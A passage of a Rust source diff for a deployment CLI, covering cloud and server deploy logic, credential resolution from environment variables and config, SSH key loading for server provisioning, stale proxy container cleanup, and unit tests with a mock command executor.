Some(pid) = project_id { + message.push_str(&format!(", project_id={}", pid)); + } + if let Some(did) = deploy_id { + message.push_str(&format!(", deployment_id={}", did)); + } + message.push(')'); + + if let Some(srv) = &server_name { + message.push_str(&format!("; server='{}'", srv)); + } + if let Some(key) = &key_name { + message.push_str(&format!("; cloud_key='{}'", key)); + } + + return Ok(DeployResult { + target: DeployTarget::Cloud, + message, + server_ip: None, + deployment_id: deploy_id, + project_id: project_id.map(|id| id as i64), + server_name: effective_server_name, + }); + } + } + + let action = if context.dry_run { + InstallAction::Plan + } else { + InstallAction::Apply + }; + + let cmd = InstallContainerCommand::from_config(config, context, action); + let args = cmd.build_args(); + let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + + let output = executor.execute("docker", &args_refs)?; + + if !output.success() { + return Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!("Install container failed: {}", output.stderr.trim()), + }); + } + + let action_str = if context.dry_run { + "plan completed" + } else { + "deployed" + }; + Ok(DeployResult { + target: DeployTarget::Cloud, + message: format!("Cloud deployment {}", action_str), + server_ip: extract_server_ip(&output.stdout), + deployment_id: None, + project_id: None, + server_name: None, + }) + } + + fn destroy( + &self, + config: &StackerConfig, + context: &DeployContext, + executor: &dyn CommandExecutor, + ) -> Result<(), CliError> { + if let Some(cloud_cfg) = &config.deploy.cloud { + if cloud_cfg.orchestrator == CloudOrchestrator::Remote { + return Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: "Remote cloud orchestrator destroy is not implemented yet. Use platform API/UI or switch deploy.cloud.orchestrator=local.".to_string(), + }); + } + } + + let cmd = InstallContainerCommand::from_config(config, context, InstallAction::Destroy); + let args = cmd.build_args(); + let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + + let output = executor.execute("docker", &args_refs)?; + + if !output.success() { + return Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!("Cloud destroy failed: {}", output.stderr.trim()), + }); + } + + Ok(()) + } +} + +pub fn provider_code_for_remote(config_provider: &str) -> &str { + match config_provider { + "hetzner" => "htz", + "digitalocean" => "do", + "aws" => "aws", + "linode" => "lo", + "vultr" => "vu", + "contabo" => "cnt", + _ => config_provider, + } +} + +#[allow(dead_code)] +fn normalize_user_service_base_url(raw: &str) -> String { + let mut url = raw.trim_end_matches('/').to_string(); + if url.ends_with("/server/user/auth/login") { + let len = url.len() - "/auth/login".len(); + return url[..len].to_string(); + } + + for suffix in ["/oauth_server/token", "/auth/login", "/login"] { + if url.ends_with(suffix) { + let len = url.len() - suffix.len(); + url = url[..len].to_string(); + break; + } + } + url +} + +/// Normalize the Stacker server URL from stored credentials. +/// Strips trailing slashes and known auth path suffixes to get the base API URL. +pub fn normalize_stacker_server_url(raw: &str) -> String { + let trimmed = raw.trim().trim_end_matches('/'); + if trimmed.is_empty() { + return stacker_client::DEFAULT_STACKER_URL.to_string(); + } + + if let Ok(mut url) = reqwest::Url::parse(trimmed) { + let path = url.path().trim_end_matches('/').to_string(); + for suffix in [ + "/api/v1", + "/oauth_server/token", + "/auth/login", + "/login", + "/api", + ] { + if path.ends_with(suffix) { + let normalized = path.trim_end_matches(suffix); + url.set_path(if normalized.is_empty() { + "/" + } else { + normalized + }); + url.set_query(None); + url.set_fragment(None); + break; + } + } + + return url.to_string().trim_end_matches('/').to_string(); + } + + trimmed.to_string() +} + +fn resolve_saved_stacker_base_url(creds: &StoredCredentials) -> String { + normalize_stacker_server_url( + creds + .server_url + .as_deref() + .unwrap_or(stacker_client::DEFAULT_STACKER_URL), + ) +} + +#[allow(dead_code)] +fn sanitize_stack_code(name: &str) -> String { + let mut out = String::new(); + let mut prev_dash = false; + for ch in name.chars() { + let c = ch.to_ascii_lowercase(); + if c.is_ascii_alphanumeric() { + out.push(c); + prev_dash = false; + } else if !prev_dash { + out.push('-'); + prev_dash = true; + } + } + let out = out.trim_matches('-').to_string(); + if out.is_empty() { + "app-stack".to_string() + } else { + out + } +} + +#[allow(dead_code)] +fn default_common_domain(project_name: &str) -> String { + format!("{}.example.com", sanitize_stack_code(project_name)) +} + +fn first_non_empty_env(keys: &[&str]) -> Option { + keys.iter().find_map(|key| { + std::env::var(key) + .ok() + .map(|v| v.trim().to_string()) + .filter(|v| !v.is_empty()) + }) +} + +fn resolve_remote_cloud_credentials(provider: &str) -> serde_json::Map { + let mut creds = serde_json::Map::new(); + + match provider { + "htz" => { + if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("htz")) { + creds.insert("cloud_token".to_string(), serde_json::Value::String(token)); + } + } + "do" => { + if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("do")) { + creds.insert("cloud_token".to_string(), serde_json::Value::String(token)); + } + } + "lo" => { + if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("lo")) { + creds.insert("cloud_token".to_string(), serde_json::Value::String(token)); + } + } + "vu" => { + if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("vu")) { + creds.insert("cloud_token".to_string(), serde_json::Value::String(token)); + } + } + "aws" => { + if let Some(key) = first_non_empty_env(cloud_env::key_env_vars("aws")) { + creds.insert("cloud_key".to_string(), serde_json::Value::String(key)); + } + if let Some(secret) = first_non_empty_env(cloud_env::secret_env_vars("aws")) { + creds.insert( + "cloud_secret".to_string(), + serde_json::Value::String(secret), + ); + } + } + "cnt" => { + // Contabo uses four credentials: OAuth2 client_id/secret + API user/password. + if let Some(v) = first_non_empty_env(cloud_env::CONTABO_CLIENT_ID_ENV_VARS) { + creds.insert("cloud_key".to_string(), serde_json::Value::String(v)); + } + if let Some(v) = first_non_empty_env(cloud_env::CONTABO_CLIENT_SECRET_ENV_VARS) { + creds.insert("cloud_token".to_string(), serde_json::Value::String(v)); + } + if let Some(v) = first_non_empty_env(cloud_env::CONTABO_API_USER_ENV_VARS) { + creds.insert("cloud_user".to_string(), serde_json::Value::String(v)); + } + if let Some(v) = first_non_empty_env(cloud_env::CONTABO_API_PASSWORD_ENV_VARS) { + creds.insert("cloud_password".to_string(), serde_json::Value::String(v)); + } + } + _ => {} + } + + creds +} + +fn ensure_remote_cloud_credentials_available( + cloud_id: Option, + provider: &str, + env_creds: &serde_json::Map, +) -> Result<(), CliError> { + if cloud_id.is_some() || !env_creds.is_empty() { + return Ok(()); + } + + let hint = cloud_env::provider_missing_credentials_hint(provider); + + Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!( + "No saved cloud credentials were found for provider '{}', and no provider credentials were found in the environment. {}", + provider, hint + ), + }) +} + +fn stale_managed_proxy_container_names( + containers: &[serde_json::Value], + app_code: &str, +) -> Vec { + let normalized_code = crate::project_app::normalize_app_code(app_code); + containers + .iter() + .filter_map(|container| { + let name = container.get("name").and_then(|value| value.as_str())?; + let normalized_name = crate::project_app::normalize_app_code(name); + let image = container + .get("image") + .and_then(|value| value.as_str()) + .unwrap_or_default() + .to_lowercase(); + + let is_project_scoped = normalized_name.starts_with("project_") + && normalized_name.contains(&normalized_code); + let is_duplicate_npm_image = + image.contains("nginx-proxy-manager") && normalized_name != normalized_code; + + if is_project_scoped || is_duplicate_npm_image { + Some(name.to_string()) + } else { + None + } + }) + .collect() +} + +fn stale_managed_proxy_app_codes( + project_apps: &[stacker_client::ProjectAppInfo], + app_code: &str, +) -> Vec { + let normalized_code = crate::project_app::normalize_app_code(app_code); + project_apps + .iter() + .filter(|app| { + crate::project_app::normalize_app_code(&app.code) == normalized_code + || crate::project_app::normalize_app_code(&app.name) == normalized_code + }) + .map(|app| app.code.clone()) + .collect() +} + +async fn wait_for_agent_command_completion( + client: &StackerClient, + deployment_hash: &str, + command_id: &str, + timeout_secs: u64, + target: DeployTarget, +) -> Result { + let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout_secs); + let interval = std::time::Duration::from_secs(2); + let mut last_status = "pending".to_string(); + + loop { + tokio::time::sleep(interval).await; + + if tokio::time::Instant::now() >= deadline { + return Err(CliError::DeployFailed { + target, + reason: format!( + "Timed out waiting for cleanup command '{}' on deployment '{}' (last status: {})", + command_id, deployment_hash, last_status + ), + }); + } + + let status = client + .agent_command_status(deployment_hash, command_id) + .await?; + last_status = status.status.clone(); + + match status.status.as_str() { + "completed" | "failed" => return Ok(status), + _ => continue, + } + } +} + +async fn fetch_live_containers( + client: &StackerClient, + deployment_hash: &str, + target: DeployTarget, +) -> Result, CliError> { + let params = crate::forms::status_panel::ListContainersCommandRequest { + include_health: true, + include_logs: false, + log_lines: 10, + }; + let request = stacker_client::AgentEnqueueRequest::new(deployment_hash, "list_containers") + .with_parameters(¶ms) + .map_err(|error| { + CliError::ConfigValidation(format!("Invalid list_containers parameters: {}", error)) + })?; + + let completed = client.agent_poll_result(&request, 120, 2).await?; + if completed.status != "completed" { + let detail = completed + .error + .map(|value| value.to_string()) + .unwrap_or_else(|| "unknown error".to_string()); + return Err(CliError::DeployFailed { + target, + reason: format!("Failed to fetch live containers before deploy: {}", detail), + }); + } + + Ok(completed + .result + .and_then(|result| { + result + .get("containers") + .and_then(|value| value.as_array()) + .cloned() + }) + .unwrap_or_default()) +} + +async fn cleanup_stale_managed_proxy_container( + client: &StackerClient, + project_id: i32, + target: DeployTarget, +) -> Result { + let project_apps = client.list_project_apps(project_id).await?; + let stale_project_app_codes = + stale_managed_proxy_app_codes(&project_apps, "nginx_proxy_manager"); + let deployment = client.get_deployment_status_by_project(project_id).await?; + let stale_container_names = if let Some(deployment) = deployment.as_ref() { + match fetch_live_containers(client, &deployment.deployment_hash, target).await { + Ok(containers) => { + stale_managed_proxy_container_names(&containers, "nginx_proxy_manager") + } + Err(CliError::AgentNotFound { .. }) => Vec::new(), + Err(error) => return Err(error), + } + } else { + Vec::new() + }; + + if stale_project_app_codes.is_empty() && stale_container_names.is_empty() { + return Ok(false); + } + + if !stale_project_app_codes.is_empty() { + eprintln!( + " Found stale managed proxy app registrations ({}); deleting them before deploy...", + stale_project_app_codes.join(", ") + ); + for app_code in &stale_project_app_codes { + client + .delete_project_app( + project_id, + app_code, + deployment + .as_ref() + .map(|value| value.deployment_hash.as_str()), + ) + .await?; + } + } + + if stale_container_names.is_empty() { + eprintln!(" Removed stale managed nginx_proxy_manager project state"); + return Ok(true); + } + + let Some(deployment) = deployment else { + eprintln!(" Removed stale managed nginx_proxy_manager project state"); + return Ok(true); + }; + + eprintln!( + " Found stale managed proxy containers on deployment '{}': {}; removing them before managed proxy restart...", + deployment.deployment_hash, + stale_container_names.join(", ") + ); + + for container_name in &stale_container_names { + let params = crate::forms::status_panel::RemoveAppCommandRequest { + app_code: container_name.clone(), + delete_config: false, + remove_volumes: false, + remove_image: false, + }; + let request = + stacker_client::AgentEnqueueRequest::new(&deployment.deployment_hash, "remove_app") + .with_parameters(¶ms) + .map_err(|error| { + CliError::ConfigValidation(format!("Invalid cleanup parameters: {}", error)) + })?; + + let enqueued = client.agent_enqueue(&request).await?; + let completed = wait_for_agent_command_completion( + client, + &deployment.deployment_hash, + &enqueued.command_id, + 120, + target, + ) + .await?; + + if completed.status != "completed" { + let detail = completed + .error + .map(|value| value.to_string()) + .unwrap_or_else(|| "unknown error".to_string()); + return Err(CliError::DeployFailed { + target, + reason: format!( + "Failed to remove stale managed proxy container '{}' before deploy: {}", + container_name, detail + ), + }); + } + } + + if !stale_project_app_codes.is_empty() { + eprintln!(" Removed stale managed nginx_proxy_manager project state and containers"); + } else { + eprintln!(" Removed stale managed nginx_proxy_manager containers"); + } + Ok(true) +} + +/// Resolve Docker registry credentials from the stacker.yml `deploy.registry` section +/// and/or environment variables. Env vars override config values (same pattern as cloud_token). +/// +/// Returns a map with optional keys: `docker_username`, `docker_password`, `docker_registry`. +pub(crate) fn resolve_docker_registry_credentials( + config: &super::config_parser::StackerConfig, +) -> serde_json::Map { + let mut creds = serde_json::Map::new(); + let registry = config.deploy.registry.as_ref(); + + // Username: env var > config + let username = first_non_empty_env(&["STACKER_DOCKER_USERNAME", "DOCKER_USERNAME"]) + .or_else(|| registry.and_then(|r| r.username.clone())); + + // Password: env var > config + let password = first_non_empty_env(&["STACKER_DOCKER_PASSWORD", "DOCKER_PASSWORD"]) + .or_else(|| registry.and_then(|r| r.password.clone())); + + // Registry server: env var > config > default "docker.io" + let server = first_non_empty_env(&["STACKER_DOCKER_REGISTRY", "DOCKER_REGISTRY"]) + .or_else(|| registry.and_then(|r| r.server.clone())) + .or_else(|| { + if username.is_some() || password.is_some() { + Some("docker.io".to_string()) + } else { + None + } + }) + .map(canonicalize_registry_server); + + if let Some(u) = username { + creds.insert("docker_username".to_string(), serde_json::Value::String(u)); + } + if let Some(p) = password { + creds.insert("docker_password".to_string(), serde_json::Value::String(p)); + } + if let Some(s) = server { + creds.insert("docker_registry".to_string(), serde_json::Value::String(s)); + } + + creds +} + +fn canonicalize_registry_server(server: String) -> String { + let trimmed = server.trim().trim_end_matches('/').to_string(); + let lower = trimmed.to_ascii_lowercase(); + + if lower == "docker.io" + || lower == "hub.docker.com" + || lower == "index.docker.io" + || lower == "registry-1.docker.io" + || lower == "https://docker.io" + || lower == "https://hub.docker.com" + || lower == "https://index.docker.io" + || lower == "https://index.docker.io/v1" + || lower == "https://index.docker.io/v1/" + || lower == "https://registry-1.docker.io" + { + "docker.io".to_string() + } else { + trimmed + } +} + +#[allow(dead_code)] +fn build_remote_deploy_payload(config: &StackerConfig) -> serde_json::Value { + let cloud = config.deploy.cloud.as_ref(); + let provider = cloud + .map(|c| provider_code_for_remote(&c.provider.to_string()).to_string()) + .unwrap_or_else(|| "htz".to_string()); + let region = cloud + .and_then(|c| c.region.clone()) + .unwrap_or_else(|| "nbg1".to_string()); + let server = cloud + .and_then(|c| c.size.clone()) + .unwrap_or_else(|| "cpx11".to_string()); + let stack_code = config + .project + .identity + .clone() + .map(|v| v.trim().to_string()) + .filter(|v| !v.is_empty()) + .unwrap_or_else(|| "custom-stack".to_string()); + let os = match provider.as_str() { + "do" => "docker-20-04", // DigitalOcean marketplace image with Docker pre-installed + "htz" => "docker-ce", // Hetzner snapshot with Docker CE pre-installed (Ubuntu 24.04) + "cnt" => "ubuntu-22.04", // Contabo: standard Ubuntu image + _ => "ubuntu-22.04", + }; + + let mut payload = serde_json::json!({ + "provider": provider, + "region": region, + "server": server, + "os": os, + "ssl": "letsencrypt", + "commonDomain": default_common_domain(&config.name), + "domainList": {}, + "stack_code": stack_code, + "project_name": config.name, + "selected_plan": "free", + "payment_type": "subscription", + "subscriptions": [], + "vars": [], + "integrated_features": [], + "extended_features": [], + "save_token": true, + "custom": { + "project_name": config.name, + "custom_stack_code": sanitize_stack_code(&config.name), + "project_overview": format!("Generated by stacker-cli for {}", config.name) + } + }); + + if let Some(obj) = payload.as_object_mut() { + for (key, value) in resolve_remote_cloud_credentials(&provider) { + obj.insert(key, value); + } + } + + payload +} + +#[allow(dead_code)] +fn validate_remote_deploy_payload(payload: &serde_json::Value) -> Result<(), CliError> { + let required = [ + "provider", + "region", + "server", + "os", + "commonDomain", + "stack_code", + "selected_plan", + "payment_type", + "subscriptions", + ]; + + let mut missing = Vec::new(); + + for key in required { + match payload.get(key) { + Some(v) if !v.is_null() => { + if key == "subscriptions" && !v.is_array() { + missing.push("subscriptions(array)"); + } + if key == "stack_code" && v.as_str().map(|s| s.trim().is_empty()).unwrap_or(true) { + missing.push("stack_code(non-empty)"); + } + } + _ => missing.push(key), + } + } + + if !missing.is_empty() { + let identity_hint = if missing.iter().any(|item| item.contains("stack_code")) { + " stack_code defaults to 'custom-stack'. Optionally set project.identity in stacker.yml to a registered catalog stack code." + } else { + "" + }; + Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!( + "Remote deploy payload is missing required fields: {}. Preferred flow: remove `deploy.cloud.remote_payload_file` and run `stacker deploy --target cloud` so payload is generated automatically. For advanced/debug use `stacker-cli config setup remote-payload`.{}", + missing.join(", "), + identity_hint + ), + }) + } else { + let mut invalid = Vec::new(); + + if let Some(domain) = payload.get("commonDomain").and_then(|v| v.as_str()) { + let normalized = domain.trim().to_ascii_lowercase(); + if normalized == "localhost" || !normalized.contains('.') { + invalid.push("commonDomain(valid domain required)"); + } + } + + let provider = payload + .get("provider") + .and_then(|v| v.as_str()) + .unwrap_or_default(); + + match provider { + "htz" | "lo" | "vu" => { + let has_token = payload + .get("cloud_token") + .and_then(|v| v.as_str()) + .map(|v| !v.trim().is_empty()) + .unwrap_or(false); + if !has_token { + invalid.push("cloud_token"); + } + } + "aws" => { + let has_key = payload + .get("cloud_key") + .and_then(|v| v.as_str()) + .map(|v| !v.trim().is_empty()) + .unwrap_or(false); + let has_secret = payload + .get("cloud_secret") + .and_then(|v| v.as_str()) + .map(|v| !v.trim().is_empty()) + .unwrap_or(false); + + if !has_key { + invalid.push("cloud_key"); + } + if !has_secret { + invalid.push("cloud_secret"); + } + } + _ => {} + } + + if invalid.is_empty() { + Ok(()) + } else { + Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!( + "Remote deploy payload has invalid/missing provider credentials: {}. Set env vars before deploy (e.g. STACKER_CLOUD_TOKEN or provider-specific token vars; for AWS use AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY).", + invalid.join(", ") + ), + }) + } + } +} + +#[allow(dead_code)] +fn persist_remote_payload_snapshot( + project_dir: &Path, + payload: &serde_json::Value, +) -> Option { + let stacker_dir = project_dir.join(".stacker"); + let snapshot_path = stacker_dir.join("remote-payload.last.json"); + + if let Err(err) = std::fs::create_dir_all(&stacker_dir) { + eprintln!( + "Warning: failed to create payload snapshot directory {}: {}", + stacker_dir.display(), + err + ); + return None; + } + + let payload_str = match serde_json::to_string_pretty(payload) { + Ok(s) => s, + Err(err) => { + eprintln!( + "Warning: failed to serialize remote payload snapshot: {}", + err + ); + return None; + } + }; + + if let Err(err) = std::fs::write(&snapshot_path, payload_str) { + eprintln!( + "Warning: failed to write payload snapshot {}: {}", + snapshot_path.display(), + err + ); + return None; + } + + Some(snapshot_path) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ServerDeploy — SSH + install container +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct ServerDeploy; + +impl DeployStrategy for ServerDeploy { + fn validate(&self, config: &StackerConfig) -> Result<(), CliError> { + if config.deploy.server.is_none() { + return Err(CliError::ServerHostMissing); + } + + Ok(()) + } + + fn deploy( + &self, + config: &StackerConfig, + context: &DeployContext, + executor: &dyn CommandExecutor, + ) -> Result { + if context.dry_run { + let action = InstallAction::Plan; + let cmd = InstallContainerCommand::from_config(config, context, action); + let args = cmd.build_args(); + let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + + let output = executor.execute("docker", &args_refs)?; + + if !output.success() { + return Err(CliError::DeployFailed { + target: DeployTarget::Server, + reason: format!("Server deployment failed: {}", output.stderr.trim()), + }); + } + + let server_host = config.deploy.server.as_ref().map(|s| s.host.clone()); + + return Ok(DeployResult { + target: DeployTarget::Server, + message: "Server deployment plan completed".to_string(), + server_ip: server_host, + deployment_id: None, + project_id: None, + server_name: None, + }); + } + + let creds = + CredentialsManager::with_default_store().require_valid_token("server deploy")?; + let base_url = normalize_stacker_server_url( + creds + .server_url + .as_deref() + .unwrap_or(stacker_client::DEFAULT_STACKER_URL), + ); + let server_cfg = config + .deploy + .server + .as_ref() + .ok_or(CliError::ServerHostMissing)?; + let project_name = resolve_remote_project_name(config, context); + let project_config = compose_targets::config_with_compose_secret_target_services( + config, + &context.compose_path, + )?; + let mut project_body = stacker_client::build_project_body(&project_config); + if let Some(bundle) = &context.config_bundle { + stacker_client::attach_config_bundle_to_project_body(&mut project_body, bundle); + } + let bootstrap_status_panel = true; + + let (response, effective_server_name) = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| CliError::DeployFailed { + target: DeployTarget::Server, + reason: format!("Failed to initialize async runtime: {}", e), + })? + .block_on(async { + let client = StackerClient::new_for_target( + &base_url, + &creds.access_token, + DeployTarget::Server, + ); + + let project = match client.find_project_by_name(&project_name).await? { + Some(existing) => { + let _ = client + .update_project(existing.id, project_body.clone()) + .await; + existing + } + None => { + let created = client + .create_project(&project_name, project_body.clone()) + .await?; + eprintln!(" Created project '{}' (id={})", created.name, created.id); + created + } + }; + + if should_run_managed_proxy_preflight(context, DeployTarget::Server) { + cleanup_stale_managed_proxy_container( + &client, + project.id, + DeployTarget::Server, + ) + .await?; + } + + let existing_server = client.list_servers().await?.into_iter().find(|server| { + server.project_id == project.id + && (server.srv_ip.as_deref() == Some(server_cfg.host.as_str()) + || context + .server_name_override + .as_deref() + .is_some_and(|name| server.name.as_deref() == Some(name))) + }); + + let effective_server_name = context + .server_name_override + .clone() + .or_else(|| { + existing_server + .as_ref() + .and_then(|server| server.name.clone()) + }) + .unwrap_or_else(|| { + format!( + "{}-server", + sanitize_stack_code( + &config + .project + .identity + .clone() + .unwrap_or_else(|| config.name.clone()) + ) + ) + }); + + let mut deploy_form = stacker_client::build_server_deploy_form_with_options( + config, + server_cfg, + &effective_server_name, + bootstrap_status_panel, + stacker_client::DeployFormOptions { + include_managed_proxy: context.managed_proxy_feature_enabled, + }, + ); + if let Some(bundle) = &context.config_bundle { + stacker_client::attach_config_bundle_to_deploy_form(&mut deploy_form, bundle); + } + + if let Some(server_obj) = deploy_form + .get_mut("server") + .and_then(|v| v.as_object_mut()) + { + if let Some(existing) = existing_server.as_ref() { + server_obj.insert("server_id".to_string(), serde_json::json!(existing.id)); + } + + if let Some((private_key, public_key)) = + load_existing_server_ssh_key(server_cfg)? + { + server_obj.insert( + "ssh_private_key".to_string(), + serde_json::Value::String(private_key), + ); + if let Some(public_key) = public_key { + server_obj.insert( + "public_key".to_string(), + serde_json::Value::String(public_key), + ); + } + } + } + + if let Some(form_obj) = deploy_form.as_object_mut() { + form_obj.insert("runtime".to_string(), serde_json::json!(context.runtime)); + } + + eprintln!( + " Deploying project '{}' to {} via Stacker server...", + project_name, server_cfg.host + ); + let response = client.deploy(project.id, None, deploy_form).await?; + Ok::<_, CliError>((response, effective_server_name)) + })?; + + let deploy_id = response + .meta + .as_ref() + .and_then(|m| m.get("deployment_id")) + .and_then(|v| v.as_i64()); + let project_id = response.id; + + let mut message = format!( + "Server deployment requested via Stacker server (project='{}'", + project_name + ); + if let Some(pid) = project_id { + message.push_str(&format!(", project_id={}", pid)); + } + if let Some(did) = deploy_id { + message.push_str(&format!(", deployment_id={}", did)); + } + message.push(')'); + message.push_str(&format!("; server='{}'", effective_server_name)); + + Ok(DeployResult { + target: DeployTarget::Server, + message, + server_ip: Some(server_cfg.host.clone()), + deployment_id: deploy_id, + project_id: project_id.map(|id| id as i64), + server_name: Some(effective_server_name), + }) + } + + fn destroy( + &self, + config: &StackerConfig, + context: &DeployContext, + executor: &dyn CommandExecutor, + ) -> Result<(), CliError> { + let action = if context.dry_run { + InstallAction::Plan + } else { + InstallAction::Destroy + }; + let cmd = InstallContainerCommand::from_config(config, context, action); + let args = cmd.build_args(); + let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + + let output = executor.execute("docker", &args_refs)?; + + if !output.success() { + return Err(CliError::DeployFailed { + target: DeployTarget::Server, + reason: format!("Server destroy failed: {}", output.stderr.trim()), + }); + } + + Ok(()) + } +} + +fn resolve_remote_project_name(config: &StackerConfig, context: &DeployContext) -> String { + context.project_name_override.clone().unwrap_or_else(|| { + config + .project + .identity + .clone() + .filter(|name| !name.trim().is_empty()) + .unwrap_or_else(|| config.name.clone()) + }) +} + +pub(crate) fn load_existing_server_ssh_key( + server_cfg: &crate::cli::config_parser::ServerConfig, +) -> Result)>, CliError> { + let Some(path) = server_cfg.ssh_key.as_ref() else { + return Ok(None); + }; + + let resolved_path = resolve_ssh_key_path(path); + + let private_key = + std::fs::read_to_string(&resolved_path).map_err(|e| CliError::DeployFailed { + target: DeployTarget::Server, + reason: format!( + "Failed to read SSH private key {}: {}", + resolved_path.display(), + e + ), + })?; + + let public_key_path = PathBuf::from(format!("{}.pub", resolved_path.display())); + let public_key = match std::fs::read_to_string(&public_key_path) { + Ok(key) => Some(key), + Err(e) if e.kind() == std::io::ErrorKind::NotFound => None, + Err(e) => { + return Err(CliError::DeployFailed { + target: DeployTarget::Server, + reason: format!( + "Failed to read SSH public key {}: {}", + public_key_path.display(), + e + ), + }); + } + }; + + Ok(Some((private_key, public_key))) +} + +fn resolve_ssh_key_path_with_home(path: &Path, home_dir: Option<&Path>) -> PathBuf { + let path_str = path.to_string_lossy(); + if let Some(relative_path) = path_str.strip_prefix("~/") { + if let Some(home_dir) = home_dir { + return home_dir.join(relative_path); + } + } + + path.to_path_buf() +} + +fn resolve_ssh_key_path(path: &Path) -> PathBuf { + let home_dir = std::env::var_os("HOME").map(PathBuf::from); + resolve_ssh_key_path_with_home(path, home_dir.as_deref()) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Helpers +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Try to extract a server IP from install container stdout. +/// Looks for lines like `server_ip = 1.2.3.4` (Terraform output format). +fn extract_server_ip(stdout: &str) -> Option { + for line in stdout.lines() { + let trimmed = line.trim(); + if trimmed.starts_with("server_ip") || trimmed.starts_with("public_ip") { + if let Some(value) = trimmed.split('=').nth(1) { + let ip = value.trim().trim_matches('"'); + if !ip.is_empty() { + return Some(ip.to_string()); + } + } + } + } + None +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::config_parser::{ + CloudConfig, CloudOrchestrator, CloudProvider, ConfigBuilder, RegistryConfig, ServerConfig, + }; + use std::sync::Mutex; + + // ── Mock executor ─────────────────────────────── + + struct MockExecutor { + recorded_calls: Mutex)>>, + exit_code: i32, + stdout: String, + stderr: String, + } + + impl MockExecutor { + fn success() -> Self { + Self { + recorded_calls: Mutex::new(Vec::new()), + exit_code: 0, + stdout: String::new(), + stderr: String::new(), + } + } + + #[allow(dead_code)] + fn success_with_stdout(stdout: &str) -> Self { + Self { + recorded_calls: Mutex::new(Vec::new()), + exit_code: 0, + stdout: stdout.to_string(), + stderr: String::new(), + } + } + + fn failure(stderr: &str) -> Self { + Self { + recorded_calls: Mutex::new(Vec::new()), + exit_code: 1, + stdout: String::new(), + stderr: stderr.to_string(), + } + } + + fn last_call(&self) -> (String, Vec) { + self.recorded_calls.lock().unwrap().last().cloned().unwrap() + } + + fn last_args(&self) -> Vec { + self.last_call().1 + } + } + + impl CommandExecutor for MockExecutor { + fn execute(&self, program: &str, args: &[&str]) -> Result { + self.recorded_calls.lock().unwrap().push(( + program.to_string(), + args.iter().map(|s| s.to_string()).collect(), + )); + + Ok(CommandOutput { + exit_code: self.exit_code, + stdout: self.stdout.clone(), + stderr: self.stderr.clone(), + }) + } + } + + // Helper to join args as a single string for easier assertion. + fn args_as_string(args: &[String]) -> String { + args.join(" ") + } + + fn sample_cloud_config() -> StackerConfig { + ConfigBuilder::new() + .name("test-cloud-app") + .deploy_target(DeployTarget::Cloud) + .cloud(CloudConfig { + provider: CloudProvider::Hetzner, + orchestrator: CloudOrchestrator::Local, + region: Some("fsn1".to_string()), + size: Some("cpx21".to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: Some(PathBuf::from("/home/user/.ssh/id_ed25519")), + key: None, + server: None, + }) + .build() + .unwrap() + } + + #[test] + fn test_stale_managed_proxy_container_names_detect_project_scoped_nginx_proxy_manager() { + let containers = vec![ + serde_json::json!({ + "name": "nginx-proxy-manager", + "state": "running", + "image": "jc21/nginx-proxy-manager:latest" + }), + serde_json::json!({ + "name": "project-nginx_proxy_manager-1", + "state": "exited", + "image": "jc21/nginx-proxy-manager:latest" + }), + ]; + + assert_eq!( + stale_managed_proxy_container_names(&containers, "nginx_proxy_manager"), + vec!["project-nginx_proxy_manager-1".to_string()] + ); + } + + #[test] + fn test_stale_managed_proxy_container_names_ignore_managed_container_only() { + let containers = vec![serde_json::json!({ + "name": "nginx-proxy-manager", + "state": "running", + "image": "jc21/nginx-proxy-manager:latest" + })]; + + assert!(stale_managed_proxy_container_names(&containers, "nginx_proxy_manager").is_empty()); + } + + #[test] + fn test_stale_managed_proxy_container_names_detect_duplicate_npm_container_alias() { + let containers = vec![ + serde_json::json!({ + "name": "nginx-proxy-manager", + "state": "running", + "image": "jc21/nginx-proxy-manager:latest" + }), + serde_json::json!({ + "name": "nginx-proxy-manager-app-1", + "state": "running", + "image": "jc21/nginx-proxy-manager:latest" + }), + ]; + + assert_eq!( + stale_managed_proxy_container_names(&containers, "nginx_proxy_manager"), + vec!["nginx-proxy-manager-app-1".to_string()] + ); + } + + #[test] + fn test_stale_managed_proxy_app_codes_detect_nginx_proxy_manager_registration() { + let apps = vec![ + stacker_client::ProjectAppInfo { + id: 1, + project_id: 1, + code: "nginx_proxy_manager".to_string(), + name: "Nginx Proxy Manager".to_string(), + image: "jc21/nginx-proxy-manager".to_string(), + enabled: true, + deploy_order: None, + parent_app_code: None, + }, + stacker_client::ProjectAppInfo { + id: 2, + project_id: 1, + code: "status-panel-web".to_string(), + name: "Status Panel".to_string(), + image: "trydirect/status".to_string(), + enabled: true, + deploy_order: None, + parent_app_code: None, + }, + ]; + + assert_eq!( + stale_managed_proxy_app_codes(&apps, "nginx_proxy_manager"), + vec!["nginx_proxy_manager".to_string()] + ); + } + + #[test] + fn 